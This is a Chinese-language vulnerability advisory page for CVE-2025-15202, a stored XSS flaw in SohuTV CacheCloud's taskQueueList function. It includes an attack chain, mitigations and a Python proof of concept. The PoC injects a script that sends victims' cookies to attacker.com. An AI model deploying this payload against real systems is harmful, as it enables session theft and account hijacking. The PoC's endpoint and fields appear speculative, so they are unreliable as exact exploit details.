IPBUF安全漏洞报告
English
CVE-2025-15202 CVSS 2.4 低危

CVE-2025-15202 | SohuTV CacheCloud taskQueueList函数跨站脚本漏洞

披露日期: 2025-12-29

漏洞信息

漏洞编号
CVE-2025-15202
漏洞类型
XSS
CVSS评分
2.4 低危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
需要交互 (UI:R)
影响产品
SohuTV CacheCloud

相关标签

CVE-2025-15202XSS跨站脚本SohuTV CacheCloud存储型XSSTaskControllerJavaWeb应用漏洞

漏洞概述

CVE-2025-15202是SohuTV CacheCloud中存在的一个存储型跨站脚本(Stored XSS)漏洞。该漏洞影响CacheCloud 3.2.0及以下所有版本,漏洞点位于TaskController.java文件中的taskQueueList函数。由于该函数在处理用户输入时未对特殊字符进行充分的输入验证和输出编码,攻击者可以通过构造恶意的JavaScript脚本并将其注入到任务队列列表中。当其他用户访问该功能页面时,注入的恶意脚本将在受害者浏览器中执行,从而窃取用户的会话Cookie、劫持用户账户或进行其他恶意操作。由于该漏洞需要高权限用户才能利用,且需要用户交互触发,因此CVSS评分仅为2.4,属于低危漏洞。然而,漏洞已被公开披露并提供了利用代码,潜在威胁不可忽视。建议受影响的用户尽快采取修复措施或应用临时缓解方案。

技术细节

该漏洞位于SohuTV CacheCloud的Web控制器层,具体为com.sohu.cache.web.controller.TaskController.java文件中的taskQueueList方法。该方法负责展示任务队列列表信息,但在处理和展示用户可控的数据时未实施适当的输入验证和输出编码机制。攻击者可以利用此漏洞向任务队列功能提交包含恶意JavaScript代码的输入,当数据被存储并在后续页面加载时,浏览器会将其解析为可执行脚本。由于漏洞属于存储型XSS,恶意代码会持久化在服务器端,所有访问该功能页面的用户都将受到威胁。攻击者通常利用此漏洞窃取受害者的认证令牌、冒充用户执行操作或传播恶意内容。漏洞利用需要攻击者具有高权限账户(如管理员),并需要诱导其他用户访问包含恶意脚本的页面。虽然CVSS基础评分较低(2.4),但考虑到漏洞已公开利用可能且涉及敏感数据泄露风险,仍建议及时修复。

攻击链分析

STEP 1
步骤1
攻击者获取SohuTV CacheCloud的高权限账户(如管理员账号)
STEP 2
步骤2
攻击者构造包含恶意JavaScript代码的XSS payload
STEP 3
步骤3
攻击者通过taskQueueList功能提交恶意payload,利用未过滤的用户输入注入存储型XSS
STEP 4
步骤4
恶意脚本被持久化存储在服务器数据库中
STEP 5
步骤5
受害者访问taskQueueList页面时,恶意脚本在受害者浏览器中自动执行
STEP 6
步骤6
攻击者通过恶意脚本窃取受害者的Cookie、会话令牌或执行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2025-15202 PoC - SohuTV CacheCloud XSS in taskQueueList # Target: SohuTV CacheCloud <= 3.2.0 # Vulnerability: Stored XSS in TaskController.java taskQueueList function TARGET_URL = "http://target.com" # Replace with actual target LOGIN_URL = f"{TARGET_URL}/login" TASK_LIST_URL = f"{TARGET_URL}/task/taskQueueList" # Malicious XSS payload XSS_PAYLOAD = '<script>document.location="http://attacker.com/log?cookie="+document.cookie</script>' def exploit_cve_2025_15202(): """ Exploit for CVE-2025-15202: SohuTV CacheCloud taskQueueList XSS Steps: 1. Authenticate with high-privilege account (admin) 2. Submit XSS payload via task queue creation/modification 3. Trigger the XSS when victim views taskQueueList page """ session = requests.Session() # Step 1: Login with high-privilege account login_data = { 'username': 'admin', 'password': 'password' } login_response = session.post(LOGIN_URL, data=login_data) if login_response.status_code != 200: print("[-] Authentication failed") return False print("[+] Successfully authenticated") # Step 2: Inject XSS payload into task queue task_data = { 'taskName': 'Malicious Task', 'taskDescription': XSS_PAYLOAD, 'action': 'create' } inject_response = session.post(TASK_LIST_URL, data=task_data) if inject_response.status_code == 200: print("[+] XSS payload injected successfully") print(f"[*] Payload: {XSS_PAYLOAD}") return True else: print("[-] Failed to inject payload") return False if __name__ == "__main__": exploit_cve_2025_15202()

影响范围

SohuTV CacheCloud <= 3.2.0

防御指南

临时缓解措施
在官方修复版本发布之前,可采取以下临时缓解措施:1) 限制TaskController的访问权限,仅允许受信任的管理员使用相关功能;2) 在Web应用防火墙(WAF)层面配置XSS过滤规则,拦截包含<script>标签和JavaScript事件处理器的请求;3) 启用浏览器的XSS过滤器功能;4) 监控和审查taskQueueList功能的访问日志,及时发现异常请求;5) 对管理员账户实施强密码策略和多因素认证;6) 定期备份数据库以便在发生安全事件时快速恢复。注意:这些措施仅为临时缓解,不能完全替代官方安全更新。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表